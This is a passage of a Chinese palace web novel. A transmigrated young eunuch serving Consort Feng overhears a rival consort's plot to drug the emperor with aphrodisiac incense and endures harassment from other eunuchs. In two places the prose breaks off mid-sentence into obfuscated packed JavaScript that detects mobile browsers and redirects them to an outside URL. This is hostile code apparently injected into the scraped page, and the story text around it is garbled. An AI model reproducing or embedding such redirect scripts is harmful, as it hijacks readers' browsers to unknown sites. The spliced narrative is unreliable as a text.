“团扇数目相符。软烟罗……账面上拨付玉芙宫十匹,但同期内务府从江南织造局收进的该批软烟罗,总计五十匹,拨付各宫共四十五匹,应余五匹。可库房月末盘存记录显示,余了三匹。”关禧条理清晰,“差额两匹,去向不明。或记录有误,或……” 或是被人中饱私囊,截留了。这话他没说出口。 冯媛沉默片刻,轻轻“嗯”了一声,听不出情绪,只对青黛道:“将这条记下,稍后去内务府调那批软烟罗的入库明细和领用签押底单来。” “是,娘娘。”青黛应下,瞥了关禧一眼。 冯媛没再继续这个话题,转而问道:“今日天气似乎不错?” 青黛望向窗外,点头:“是,前两日闷热,今日起了些风,云也多,遮了些日头,不算太晒。御花园里荷花正盛,茉莉和紫薇也开得极好。” “倒是有些日子没去走走了。”冯媛放下笔,有了些兴致,“整日对着这些册子,也觉气闷。去御花园转转吧。” “奴婢这就去准备。”青黛道,转身时,目光似是不经意地扫过关禧,略微停顿,对冯媛轻声说,“娘娘,今日天色好,想必游园的主子会多些,身边多带两个稳妥的人伺候也好。小离子这些时日也算勤谨细心,不若让他也跟着,有些跑腿传话的琐事,也能支应。” 冯媛闻言,抬眼看了看垂手侍立的关禧。 少年身姿挺拔如竹,穿着一尘不染的靛青袍子,眉眼低顺,面色平静,只是站在那里,便有一种与这沉闷书斋格格不入的清新之气,倒真像一株该长在花园里的翠竹。 她可有可无地点了点头:“你看着安排便是。” 15. 第 15 章 关禧心头微动。 御花园……那是后宫妃嫔常去散心,也是各种偶遇和是非多发之地。青黛点他随行,是单纯的支使,还是有意让他在冯媛面前多露面,甚至……见识些别的? “奴才遵命。”他压下思绪,恭敬应道。 消息很快传开。冯昭仪要去御花园赏花,随行除了青黛和两个贴身宫女,还点了那个新来独居一室的小太监小离子。 承华宫前殿廊下,陈公公,陈立德——冯媛身边另一位颇有脸面的贴身太监,正阴着脸,看着青黛指挥着小宫女准备出行用的团扇,遮阳伞,茶水点心等物。他是冯媛从潜邸带进宫的旧人,四十许岁,平日里主要负责冯媛外出时的仪仗,与各宫及前朝一些低阶内侍的往来通传,自诩是承华宫太监里的头一份。 见关禧换了一身更干净的靛青袍子走过来,陈立德从鼻子里哼出一声,三角眼上下打量着他,尖着嗓子道:“哟,这不是咱们书斋里的先生吗?怎么,今日不摆弄那些酸文假醋的册子,倒要跟着娘娘出门见世面了?” 他特意加重了“先生”二字,讽刺意味十足。旁边几个等着随行的小太监低下头,窃窃私语,眼神在关禧和陈立德之间飘忽。 关禧脚步不停,走到近前,对陈立德规规矩矩行了个礼,声音平和:“陈公公。青黛姐姐吩咐小的跟着,听候差遣,跑腿学些规矩。” “跑腿?学规矩?”陈立德嗤笑,掸了掸自己一尘不染的袖口,“这御花园的路,你认得全吗?各宫主子的舆驾、仪仗,你分得清吗?冲撞了哪位贵人,是你担待得起,还是咱家担待得起?” “小的愚钝,正因不认得、分不清,才更需跟着公公和各位哥哥们好好学习。”关禧将姿态放得极低,“但凭公公吩咐驱使,小的绝不敢行差踏错,连累公公。” 他这话既承认了自己是新丁,又把陈立德捧到了指挥者的位置上,态度恭顺得挑不出错。陈立德一拳打在棉花上,见他这副低眉顺眼的样子,想起青黛的指派和娘娘的默许,也不好再当众发作,只冷冷道:“算你有点自知之明!跟着可以,眼睛放亮些,手脚麻利些,不该看的别看,不该听的别听!要是出了岔子,仔细你的皮!” “是,谢公公提点。”关禧再次躬身。 很快,冯媛扶着青黛的手,从正殿缓步而出。她今日穿着藕荷色绣折枝玉兰的广袖宫装,头发绾成慵懒的随云髻,只簪一支羊脂玉兰花簪并几点珍珠,淡扫蛾眉,薄施脂粉,通身上下并无过多装饰,却越发衬得人如美玉,气质清华。 陈立德立刻换上一副殷勤笑脸,抢上前指挥小太监们抬过一顶轻便的步辇。 “娘娘,步辇备好了,您请。” 冯媛摆了摆手,“今日天气好,路也不远,走着去吧,也活动活动筋骨。” “嗻。”陈立德连忙应下,挥手让抬步辇的退下,自己亲自在前头引路,两个小太监一左一右撑着曲柄遮阳伞,青黛和两个贴身宫女簇拥在冯媛身侧稍后,关禧则默默跟在队伍的最末尾,与另外两个负责提食盒,捧巾帕的小太监并行。 一行人出了承华宫,沿着宫道,往御花园方向行去。 夏日微风拂过宫墙,带来隐约的花香。阳光被薄云过滤,少了些毒辣,洒在身上暖洋洋的。关禧低头看着脚下平整的青石板,听着前面隐约的环佩叮当和细微的脚步声,心情有些复杂。这是他穿越以来,第一次如此正式地参与后宫主子的户外活动,虽然只是个微不足道的尾巴。 御花园位于后宫中心偏北,占地极广,引活水成湖,堆土石为山,亭台楼阁掩映在奇花异木之间,一步一景,精巧绝伦。 刚进园门,便觉一股湿润的草木清气扑面而来,暑气顿消。目光所及,姹紫嫣红开遍。湖畔,层层叠叠的荷叶铺满水面,粉白嫣红的荷花亭亭玉立,或含苞待放,或恣意盛开,风过处,掀起碧波,送來清远的荷香。道旁,成片的紫薇树花开正艳,一簇簇,一团团,或深紫,或浅粉,或雪白,如云似霞。茉莉藏在绿叶间,星星点点,香气却最为馥郁袭人,甜而不腻。还有那攀附在廊架上的凌霄,橙红色的喇叭状花朵热烈地燃烧着。 冯媛步履从容,沿着蜿蜒的卵石小径缓缓而行,目光流连于花木之间,神色恬淡,似乎真的只是来赏景散心。 陈立德在前头小心引路,眼观六路,耳听八方,随时准备清道或避让。青黛则低声向冯媛介绍着哪处的荷花品种稀有,哪株紫薇是百年老桩。 关禧跟在最后,恪守本分,目光只落在前方之人的脚跟和道路之上,绝不乱瞟。然而,御花园的气息,色彩,声音,还是无孔不入地钻进他的感官。鸟鸣清脆,蜂蝶嗡营,远处似乎还有隐约的丝竹和女子娇笑声传来。 这里,是后宫最鲜活,也最危险的舞台之一。 果然,没走多远,绕过一片嶙峋的假山,前方视野豁然开朗,是一处临水的六角凉亭。 亭中已有数人,珠环翠绕,笑语盈盈。 为首一人,穿着鹅黄色缕金百蝶穿花云缎裙,头戴赤金点翠步摇,妆容明艳,正是玉芙宫的徐昭容,徐宛白。她身边围着几个低位嫔妃和宫女,众星捧月一般。 徐宛白正捏着团扇,指着湖中最大的一株并蒂莲说笑,抬眼间,恰好看到了迎面走来的冯媛一行人。 她脸上的笑容瞬间淡了几分,眼底闪过一丝不易察觉的阴霾,随即又扬起更明媚的笑意,扶着宫女的手站起身,婷婷袅袅地走出凉亭。 “哟,我当是谁呢,原来是冯姐姐。”徐宛白声音娇脆,带着惯有略微拔高的调子,“姐姐今日好兴致,也来赏荷?妹妹还以为姐姐忙着协理宫务,无暇分身呢。” 冯媛停下脚步,神色未变,唇边甚至漾起一丝极淡的微笑:“徐妹妹也在。不过是偷得浮生半日闲罢了,哪比得上妹妹日日悠闲自在。” 两人目光在空中轻轻一碰,旋即分开。周围的空气似乎都凝滞了一瞬,那些低位嫔妃和宫女们纷纷起身行礼,屏息静气。 关禧跟在队伍末尾,心里默念:看不见我,看不见我…… 可惜,徐宛白的目光在扫过冯媛身后众人时,还是精准地捕捉到了那个即使身处末位也难掩身姿轮廓的清俊身影。 她眉头几不可察地一挑,手中团扇轻轻摇了摇,拖长了语调:“冯姐姐身边的人,倒是越发齐整了。连跟在最后头的小太监,都生得这般……水灵。” 她的目光像带着钩子,在关禧身上打了个转,尤其在关禧白皙脖颈的位置停留了一瞬,语气里的意味深长,任谁都听得出来。 陈立德脸色微微一变,上前半步,赔笑道:“昭容娘娘说笑了,不过是个刚来没几天、不懂规矩的小崽子,跟着出来长长见识。” 冯媛笑容不变,像是没听出徐宛白话里的机锋,只淡淡道:“宫中当差,规矩本分最要紧,模样倒是其次。徐妹妹觉得呢?” 徐宛白被噎了一下,脸上笑容有点挂不住,哼了一声,目光再次瞥过关禧,这次带上了几分审视:“冯姐姐说得是。不过,这模样太好的,放在身边,也得多费些心管教才是,免得……心思活络,走了歪路。” 这话已是近乎直白的挑拨和暗示了。冯媛身边的太监模样太好,容易惹是非,甚至可能攀附别的贵人。 关禧伏低身子,手心微微出汗。他知道,自己又成了两个妃嫔言语交锋的由头。徐宛白这是在借题发挥,既恶心冯媛,也可能是在试探冯媛对这个新来小太监的态度。 冯媛尚未开口,她身侧的青黛已经上前半步,对着徐宛白福了一福,声音平稳:“昭容娘娘提醒得是。承华宫上下,谨守宫规,各司其职,从无半分逾越。娘娘治下严谨,奴婢们更不敢有丝毫懈怠。至于心思是否活络,”她抬眼,目光坦然地看着徐宛白,“日久自然见人心,不在皮相,更不在旁人臆测。” 青黛这话,不卑不亢,既维护了承华宫和冯媛的颜面,又暗指徐宛白是旁人臆测,将挑衅轻轻挡了回去。 徐宛白脸色沉了沉,盯着青黛看了两眼,又瞥向一直神色淡然事不关己的冯媛,终是觉得无趣,也怕真闹起来自己也未必能讨到好,便用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892386|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团扇掩了掩唇,假笑一声:“青黛姑娘真是忠心护主,伶牙俐齿。罢了,本宫也乏了,姐姐慢慢赏花吧。” 说罢,带着自己的人,悻悻然往另一条路去了。 待徐宛白一行人走远,冯媛才继续举步,神色如常,仿佛刚才那场小小的交锋从未发生。只是经过关禧身边时,眼风极淡地扫了他一下。 关禧心头一凛,将头垂得更低。 陈立德回头,狠狠瞪了关禧一眼,眼神里满是“看你惹来的麻烦”的怨气。 一行人继续前行,气氛比之前沉闷了些许。 来到一处水榭,冯媛想在此处歇息片刻。青黛指挥着小宫女布置坐垫,摆放茶点。陈立德忙前忙后,亲自试了试栏杆是否稳固,又瞪向关禧:“还杵着干嘛?没眼力见的东西!去,看看那边曲廊拐角有没有闲置的锦凳,搬两个过来!”这是他在借故支使他,也是发泄不满。 “是。”关禧应声,转身快步走向陈立德所指的方向。 曲廊拐角处果然放着几个备用的锦凳。他挑了两个看起来干净稳固的,正要搬起,却听见假山另一侧传来刻意压低的交谈声,隐约夹杂着“玉芙宫”,“徐昭容”,“香料”,“不对劲”等零碎词语。 关禧动作一顿,下意识地屏住呼吸。 “真能行?那香闻着就怪冲的……”一个略显尖细的太监嗓音。 “你懂什么!”另一个声音打断他,更沉些,透着不耐烦,“南边来的稀罕货,叫什么醉仙引……就那么指甲盖一点,混在寻常百合香里点了,任你是柳下惠再世,也得……嘿嘿。”那笑声猥琐而暧昧,“你没见陛下这段时日,往玉芙宫跑得勤快?往常便是去,也就是坐坐,听个曲儿,什么时候留宿过?可这几回……” 那尖细声音似乎被说服了,又带着点惧意:“可这是欺君啊!万一被查出来……” “查?怎么查?”沉嗓音嗤笑,“香料燃尽了无痕无迹,陛下自己……咳,那种时候,哪还分得清是香是人?”他的声音压得更低,几不可闻,但关禧还是捕捉到了几个破碎的字眼,“……龙种……凭这个……贵妃……” 关禧只觉得一股寒气从脚底直窜天灵盖。 徐昭容竟然敢用这种手段,那所谓的醉仙引,显然是强烈的催情之物,用以刺激皇帝产生生理反应,以期受孕。 皇帝不好女色,后宫至今无所出,若徐昭容真能凭此怀上龙嗣……那无疑是翻天覆地的大事。而她如此铤而走险,所图必然不止一个孩子那么简单,贵妃之位,甚至更高…… 假山后的对话还在继续,已经转为如何将新一批香料安全带入宫中的细节商议。 关禧不敢再听,也听不清了,转身,低着头,快步往回走。 心脏在胸腔里狂跳,撞得肋骨生疼。他感觉自己无意中撞破了一个足以掀起腥风血雨的秘密。这秘密像一块烧红的炭,烫手,又可能……是他绝境中意想不到的筹码? 不,不行。他立刻否定了这个危险的念头。现在的他,没有任何资格去碰这种层级的秘密。一旦沾上,稍有差池,就是灭顶之灾。徐昭容敢用这种手段,必然有周密的布置和靠山,岂是他一个小太监能撼动的? 告发?向谁告发?冯昭仪?证据呢?仅凭偷听来的几句话?冯昭仪会信吗?即便信了,她会为了一个无凭无据的秘密,现在就与风头正盛的徐昭容撕破脸吗?更大的可能是将自己这个知情人灭口,或者当作棋子推出去。 必须装作不知道。什么都没听见。 关禧搬着锦凳回到水榭,陈立德正等得不耐烦,见他回来,劈头盖脸低声斥道:“磨磨蹭蹭!偷懒耍滑!” 关禧垂首:“小的愚笨,找了片刻。” 冯媛正倚着栏杆,看湖中游鱼,青黛在一旁低声说着什么。闻声,冯媛回过头,目光掠过关禧微微发白的脸和额角细密的汗珠,眼神静默如深潭,未起波澜,淡淡道:“放那儿吧。” “是。”关禧将锦凳放下,退到一旁角落,眼观鼻,鼻观心,努力将自己的存在感降到最低。 16. 第 16 章 水榭临水而筑,四面雕花长窗半开,凉风习习而来,携着清润的水汽与隐约的荷香,总算将郁积的暑气驱散了几分。 青黛从小宫女手中接过一只红泥小炉,炉上银铫中的水正滚着细密如鱼眼的清泡。她挽起淡青袖口,露出一截皓腕,娴熟地烫杯,取茶,高冲低斟。雨前龙井在素白瓷盏中遇水苏醒,舒展成嫩绿莹润的叶芽,茶香袅袅而起,与水汽盈盈交融。 “娘娘,用些茶吧,也好消消暑气。”青黛语声轻柔,将一盏澄碧茶汤稳稳置于冯媛手边的汉白玉莲花几上。 冯媛低低应了一声,并未去端那茶盏,目光投向不远处一片开得正盛的紫色鸢尾上,似在欣赏,又似神游天外。 青黛不再多言,只静静侍立在一侧。 过了约半盏茶的时间,她才像是想起什么闲事般,用不高不低的声音开口道:“奴婢前日去内务府领香料的时节,碰巧遇上司礼监递送文书的小内侍,便听了一耳朵闲话……” 她略顿,见冯媛眼帘微动,并无阻止之意,才续道:“说是今科殿试放了榜,陛下钦点了状元、榜眼、探花。那状元郎听闻年纪不过弱冠,是江南有名的才子,诗赋尤为出众。放榜那日琼林宴上,陛下颇为赞赏,还当场让他以眼前凌霄花为题,赋诗一首。” “哦?”冯媛终于收回远眺的目光,转过头来。她伸出纤指,端起那盏瓷杯,用指尖捏着杯盖,沿着盏沿轻轻撇去浮沫,“陛下向来重经世实务,对诗词之道虽也欣赏,却少见这般当场考校。那状元郎……作得如何?” 青黛唇角微弯,露出一点清浅的笑意:“奴婢也只是辗转听来。诗云:本是青藤附壁生,敢攀烈日向云程。风催筋骨千钧力,雨洗尘埃一色清。岂效凡花争暖圃,偏从绝壑绽瑶英。九霄若有登临路,借取天梯步月行。” 她声音清亮柔和,一字一句将那诗句缓缓吟出。水榭中一时静谧,唯有风声穿过廊檐,水波轻拍石基的声响,伴着这清朗激昂的诗句淡淡回荡。 冯媛执盏的手停在唇边,静静听着。待青黛吟罢,她才浅浅啜了一口茶汤,而后将茶盏搁回几上,指尖无意识地在光滑的杯沿来回摩挲。 “倒是好气魄。敢攀烈日向云程、偏从绝壑绽瑶英,初登魁首,少年意气,锋芒毕露,也是常情。只是……” 她话锋忽地一转,抬起眼,眸光清凌凌地投向水榭外那攀附在朱红廊架之上,开得如火如荼的橙红色凌霄花,“只是,凌霄终究是藤蔓,须得倚仗他物,方能攀援而上。借取天梯……这天梯,又岂是易借、易登的?一步踏错,或所托非人,便是粉身碎骨之局。陛下让他咏凌霄,是赏识其凌云之志,也未尝不是……一种含蓄的警醒。” 青黛闻言,恭敬地垂下头:“娘娘看得透彻。奴婢愚钝,只听出诗中气势昂扬,经娘娘这一点拨,方才明白内里乾坤。” “不过是些寻常感慨罢了。”冯媛的语气复又变得疏淡,仿佛刚才那一瞬的锐利只是错觉,“陛下既有赏识之意,这位新科状元的前程,只要自己谨慎,想必是差不了的。只是,后宫之地,还是少谈论前朝之事为宜。” “奴婢明白。”青黛立刻应声,神色愈发恭谨,随即自然地转换了话题,说起御花园东南角那几株石榴树今年结籽格外繁密,瞧着甚是喜庆吉祥云云。 立在书斋门侧阴影里的关禧,将这番对话一字不漏地听入耳中,心中难以抑制地泛起波澜。 状元郎,凌霄诗,天子看似嘉许实则意味深长的考校……冯昭仪这寥寥数语的点评,直指核心。这哪里只是在品评诗作高低?分明是借诗观人,乃至揣摩那至高无上的圣心幽微。这位娘娘平日里看着沉静寡言,仿佛只沉浸于书画清赏,此刻方知其敏锐与心思之深。 而青黛看似碰巧听来,随口提起,实则是将前朝最新,也最受瞩目的动向,以一种极其自然且不逾越身份规矩的方式,递到了冯媛面前。她们主仆二人,在这午后闲适的品茶赏花光景里,不过三言两语,便完成了一次默契十足的信息交换与局势斟酌。 自己呢?关禧的目光不由自主地落在自己身上那件半新不旧的靛青色宦官袍服下摆。袍角有些磨损,颜色也被洗得微微发白。他忽然觉得自己就像那诗中的凌霄,看似有幸攀附上了承华宫这面高墙,可这依附何其脆弱,根基全系于冯昭仪一念之间的喜怒。至于那天梯,那渺茫不可知的归家之路,或是在这深宫之中挣得一丝自主喘息之机的途径,又在哪里?连望都望不真切。 他不敢再深想下去,只觉得鼻尖萦绕的荷香,都变得过于甜馥,沉沉地压在心口,透着一股子令人不安的腻人。 冯媛又静坐了片刻,将盏中残茶饮尽,扶着青黛的手缓缓起身:“出来也有些时辰了,回吧。” “是。”青黛稳稳托住她的手臂。 一行人迤逦出了水榭,沿着来时青石小径返回承华宫。夕阳已大半沉入宫墙之后,天际只余一抹残存的橘红,很快被蔓延上来的靛青吞没。宫墙的影子被拉得极长极暗,沉甸甸地覆在巷道之上。 关禧默默走在最后。他背对着那最后一缕天光,整个人的轮廓仿佛都要融入前方深浓的宫影里,只有腰间悬挂的普通牙牌,随着步伐轻轻晃动,偶尔反射出一点转眼即逝的亮光。 陈立德在前头殷勤开路,偶尔回头,目光扫过关禧时,虽仍习惯性地带上一丝警告,但经此一趟随侍,他似乎也觉得这新来的除了模样生得过于齐整些,倒也还算安静本分,没出什么差错,故而那眼神里的厉色也减了几分,未再刻意寻衅找茬。 回到承华宫,关禧依着规矩先至书斋候着。 青黛搀着冯媛进了内室,约莫一炷香后出来,对静立门边的关禧温言道:“今日你也跟着走了不少路,且早些回去歇着吧。明日记得将去岁下半年各宫器物损换的明细记录寻出来,陛下万寿节将至,内务府需核对旧例,以备添置新贡,那些册子娘娘或许要过目。” “是,奴才谨记。”关禧躬身,恭敬应下,而后才轻步退出书斋。 廊下宫灯已次第点亮,晕开一团团暖黄的光晕。 关禧走在返回自己那间小厢房的路上,步履略显沉重。今日御花园一行,看似平静,实则暗流涌动。徐昭容那毫不掩饰的打量与讥讽,假山后偷听到的骇人秘闻,还有冯昭仪主仆间看似闲谈,实则机锋暗藏的对话……所有画面在他脑海中反复交织,让他太阳穴隐隐作痛。 回到狭小寂静的房间,背靠门板,他才敢松懈几分紧绷的神经。可松懈带来的是更清晰的感知,里衣被冷汗微微浸湿,黏在后背皮肤上,极不舒服。夏夜闷热虽被晚风吹散些许,但那股由内而外的黏腻感,让他迫切想清洗。 洗漱。这在现代再简单不过的日常,在宫中,尤其对他这样的低等内侍而言,却需遵循严苛的规矩。 他搬来承华宫这几日,已大致摸清了这里的规矩。像他这样的二等内侍,并无资格使用单独的盥洗设施,更别提热水。 宫内设有专门的沐房,位于下人所居区域的最北边,是一排低矮的联排房屋,分男女区域,由热水房每日定时供应热水,水量有限,且过了规定时辰便不再供应。 关禧抬头看了看窗外的天色,估摸着时辰。此刻已近宫门下钥,各处巡查加紧,但沐房或许还未完全关闭。他不想明日顶着不适醒来,更受不了这身黏腻。 略一踌躇,他还是从床下拖出那个边缘有些磨损的木盆,又从墙角水缸里舀了半盆凉水,这是他屋内仅有的,每日由粗使小太监补充的食用兼盥洗用水。 端起木盆,他走到床边,打开那个陈旧的小木柜。里面整齐叠放着他仅有的两套换洗衣物:一套是身上正穿着的靛青色外袍和棉布中衣的同款,另一套颜色稍浅些,是更早发的,洗得有些发白,但同样干净。 他犹豫了一下,伸手取了那套颜色稍浅的。沐房那地方人多手杂,又是晚上,光线昏暗,穿这套旧些的去,就算不小心被泼溅到水或蹭到脏污,也不至于太心疼,明日当值再换回那套靛青色的便是。 将干净的旧衣裤搭在手臂上,他轻手轻脚地推门而出。 夜色已浓,承华宫后院的甬道上只零星挂着几盏气死风灯,光线昏暗。 远处隐约传来巡夜太监拖沓的脚步声和更梆声。 关禧低着头,加快脚步,朝着记忆中的沐房方向走去。 沐房所在的院落比想象中更为简陋。几间灰扑扑的屋子连在一起,门口挂着脏得看不清颜色的布帘,空气中弥漫着一股复杂的味道,潮湿的霉味,劣质澡豆的涩味,还有属于许多身体清洁不足时混合在一起的体味。 此时沐房内还算安静,热水供应显然已停,只有零星几个回来的晚,或是今日当值特别辛苦的太监,正就着盆里有限的凉水,胡乱擦洗着身体。哗啦的水声,低声的抱怨,偶尔的咳嗽,在空旷的屋内回荡。 关禧挑了个最靠里,灯光最暗的角落,先将臂上的干净衣物小心放在一旁稍高些,看起来还算干燥的木架上,这才放下木盆。他警惕扫视,未见曹旺那伙人,才略松口气。背对他人,解开靛青色外袍系带,脱下,露出里面洗得发白的棉布中衣。 没有犹豫,他解开中衣侧旁的系带,将那层单薄的棉布彻底褪下。 昏黄灯光下,少年清瘦单薄的身体暴露无遗,皮肤是久不见天日的苍白,肋骨形状隐约可见,胸前平坦,属于男性的骨架线条已然清晰,又因消瘦和那份不自然的苍白,透出一种脆弱的易碎感。 他迅速弯腰,将脱下的中衣和外袍胡乱团在木盆边,又飞快地解开裤带,褪下长裤。当最后一点布料离开身体,他立刻扯过浸在凉水中的布巾,拧了半干,覆盖在自己腰间,试图用这微薄的屏障隔断那些可能投来的视线。 即便是背对着众人,关禧也能感觉到有几道视线似有若无地扫过他的背影。在这全是男性的空间里,他这具清瘦,皮肤苍白,甚至轮廓在某些角度下有些模糊性别的身体,总是容易引来或好奇或评估的目光。 关禧咬着牙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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关禧的中衣尚未完全系好,领口微敞,潮湿的黑发贴在苍白的颈侧,几缕碎发还滴着水。他低着头,继续与衣带搏斗,低声道:“两位哥哥也才回来,辛苦了。” “辛苦?哪有你辛苦啊?”吊梢眼走到近前,居高临下地看着他,目光在他潮湿的头发,颈项和还没来得及完全被衣物遮掩的,还带着水珠的锁骨上转了一圈,嗤笑道,“跟着娘娘逛园子,风吹不着雨淋不着的,回来还得这么讲究,大晚上特意来擦洗……到底是得了青黛姐姐青眼的人,就是跟我们这些泥腿子不一样。” 雀斑太监也凑过来,眼睛滴溜溜转,落在关禧匆忙间没拉平整的裤腰和光着的小腿上,嘿嘿一笑:“就是,瞧这慌的……都是爷们儿,有什么好遮遮掩掩的?还是说……有什么见不得人的,怕咱们看?”他故意拔高声音,引得其他几个洗漱的太监也看了过来,目光各异,有的眼里带着看热闹的兴味,有的则是事不关己的麻木。 关禧系衣带的手指收紧,骨节发白。他强迫自己继续手上的动作,又去拿木架上的旧外袍,声音竭力平稳:“哥哥说笑了,我只是身上汗湿难受,怕失了规矩。比不得哥哥们为宫里事务操劳。” “规矩?”吊梢眼嗤笑,目光扫过关禧放在木架上的那套干净旧衣,又踢了踢地上的木盆,哐当一声,“沐房什么时辰下钥,什么时辰没热水,你不清楚?这时候跑来瞎折腾,是显摆你爱干净呢,还是心里有鬼,急着洗掉什么?”他目光下移,意有所指地瞟向关禧的下身,“还是说……身上那点与众不同,怕捂出味儿来,招人嫌?连换洗衣服都带上了,准备得挺周全啊。” 这话已是极尽侮辱。关禧猛地抬起头,眼神在昏暗的光线中骤然变得锐利,像淬了冰的刀子,直直刺向吊梢眼。那一瞬间,他身上那股刻意收敛,属于关禧的冷意泄露了出来。 吊梢眼被他眼中寒意慑得心头一慌,下意识退了小半步。 但那厉色转瞬即逝。关禧垂下眼帘,弯腰扶正木盆,声音低哑:“是我疏忽时辰,扰了哥哥们清净,我这就走。”他快速套上旧外袍,也顾不上系整齐,端起木盆,抓起湿布巾和换下的脏衣,侧身想从两人之间挤过去。 “慢着!”吊梢眼回过神来,自觉刚才被那一眼吓退有些丢脸,伸手就想拦住他。 恰在此时,门口传来苍老的声音:“都聚在这儿吵吵什么?沐房是让你们嚼舌根、生事端的地方吗?!” 众人循声望去,只见一个穿着深灰色管事太监服,头发花白的老太监拄着根拐杖,站在门口,正是负责承华宫后院庶务,兼管下人规矩的吴公公,吴明。他眼神扫过屋内,在关禧和吊梢眼几人身上停顿了一下。 吊梢眼和雀斑太监立刻收敛了气焰,躬身行礼:“吴公公。” 关禧也连忙放下木盆行礼:“吴公公。” 吴明哼了一声,拄着拐杖走进来,目光落在关禧还潮湿的头发和手中湿布巾上,又看了看吊梢眼两人一身的尘土,心中明了七八分,“差事辛苦,回来洗漱歇息是天经地义。但也要分个时候,懂个规矩!再有人敢在沐房喧哗生事,不管是谁,一律按宫规处置!” “是,公公。”众人齐声应道。 吴明又看了关禧一眼,语气稍缓:“洗完了就赶紧回去歇着,明日还有差事。” “谢公公,小的这就回去。”关禧如蒙大赦,端起木盆,低着头,快步从吴明身边走过,出了沐房。 17. 第 17 章 承华宫的下人居住区位于宫殿后部,是一片相对拥挤的院落。与关禧那间位于僻静角落,虽小却单独隔开的厢房不同,这里多是排房或大通铺。太监和宫女分住不同的院落,之间有矮墙相隔,但并非完全隔绝,中间有供杂役通行的狭窄巷道相连。 关禧要从沐房返回自己的小屋,必须穿过这片区域。白日里尚且人来人往,此刻夜色已深,各房门口只余下悬挂的气死风灯投下摇晃昏黄的光晕,将重重叠叠的门窗影子拉得诡异。大多数屋子都已熄了灯,寂静中只闻虫鸣唧唧,以及远处宫墙上传来的更梆声。 他低着头,尽量放轻脚步,经过一排显然是低等宫女居住的排房时,一扇并未完全关严的窗户里,传出了极其压抑的声响。 关禧起初并未在意,以为是有人在睡梦中翻身或呓语。他脚步未停,那声音却断断续续,似有若无地钻进耳朵里。 不是一个人的声音……是两个。 一个带着细微的泣音,像是呜咽,又像是极力忍耐着什么痛苦。另一个则粗重些。 “唔……轻点……外面……” “怕什么……都睡了……心肝儿……” 关禧的脚步猛地钉在了原地,抱着木盆的手臂僵硬。 他十七岁来自现代的灵魂,哪怕在学业压力下对情爱之事懵懂,但信息爆炸的时代,谁还没看过几部电视剧,读过几本小说?那些隐晦的描写,暧昧的画面,以及“对食”,“菜户”之类的宫闹秘辛词汇,在他脑海中炸开。 这是,对食? 宫女和太监,在这深宫寂寞里,结成假夫妻,互相慰藉? 他知道有这种事,在小说里,在野史中。可当这活生生隔着薄薄一扇窗,在寂静深夜里传来的声响撞人耳中时,那冲击力完全不是文字或想象可以比拟。 那窗内的声响还在继续,压抑而暖昧,在这死寂的夜里显得格外清晰,甚至能隐约听到床板轻微有节奏的吱呀声。 关禧脑子里一片混乱。他不知道自己该立刻走开,还是该假装什么都没听见。身体像是被施了定身咒,脚下生了根,耳朵不受控制地捕捉着每一个细微的动静,脸颊烫得惊人。 就在他心神震荡,没留意周遭环境时,一道身影,悄无声息地从他身后另一条更暗的巷道里转了出来,停在了离他几步远的地方。 月光被云层遮掩,只有远处廊下气死风灯的一点微光勉强勾勒出来人的轮廓,穿着承华宫高等宫女制式的淡青色比甲,身姿纤细,手里还提着一个小小的食盒。 正是青黛。 她显然也听到了那窗内传出的,在寂静中无所遁形的声响,目光先是扫过那扇未关严的窗户,眼神平静无波,仿佛只是看见一件再平常不过的事物。然后,她的视线落在了僵立在前方,背对着她,抱着木盆,低着头的关禧身上。 青黛的目光在关禧贴在颈后湿漉漉的发梢上停留了一瞬,又滑过他微微发颤的肩膀和那对在昏暗光线下依然泛着可疑红色的耳尖,她提着食盒的手指,轻轻动了一下。 窗内那令人面红耳赤的动静似乎到了紧要关头,一声似痛苦似欢愉的闷哼之后,渐渐归于沉寂。 关禧一个激灵,从那种被雷劈中的状态里回过神来,意识到自己在这里站了太久,听到的也太多。他慌乱地想要迈步离开,却因为心神不宁,脚下被不平的石板一绊,怀里的木盆差点脱手,发出“哐当”一声不大不小的脆响。 “谁?!”窗内立刻传来一声惊惶的低喝,带着被撞破的恐惧。 关禧心脏骤停,冷汗湿透了后背。 随即,一个清冷平静的声音,从他身后响了起来,不高不低,却足以让窗内的人听得清清楚楚: “是我,青黛。路过。夜深了,仔细惊着旁人。” 窗内瞬间死寂。 青黛缓步上前,走到了关禧身侧,望着那扇此刻紧紧闭拢,再无一丝声息的窗户,语气还是那种听不出情绪的平稳:“承华宫的规矩,是让你们守的,不是让你们钻空子、行饽逆之事的。今晚之事,我只当没听见。若再有下次,或是传出去半个字……你们知道后果。” 窗内传来极其微弱应和声:“是,青黛姐姐,谢、谢姐姐开恩……” 青黛不再理会,这才转过头,看向身旁连脖颈都泛着红的关禧,目光从关禧通红的脸颊,移到他微微颤抖的睫毛,再落到他死死攥着木盆边缘,指节发白的手指上。 “吓着了?”青黛的声音忽然放得极轻,与她方才训斥窗内人的冰冷截然不同。 关禧喉咙干涩,张了张嘴,却发不出声音,只能胡乱地摇了摇头,又立刻低下头,恨不得把脸埋进木盆里。 青黛看着他这副着窘无措,与平日里那份刻意伪装的沉静恭顺全然不同的模样,没再说什么,提起手中的小食盒,在关禧眼前轻轻晃了晃。 “娘娘晚膳用得少,吩咐小厨房做了些杏仁酪。我正要去送。”她顿了顿,语气恢复如常,“夜深露重,你也赶紧回去擦干头发,当心着凉。明日……还有差事。” 说完,她不再停留,提着食盒,步履从容地朝着冯媛寝殿的方向走去,淡青色的身影很快融入更深的夜色里,仿佛刚才的一切都未曾发生。 直到青黛的脚步声彻底消失,关禧才像被抽干了力气般,抱着木盆,靠在粗糙的墙壁上。 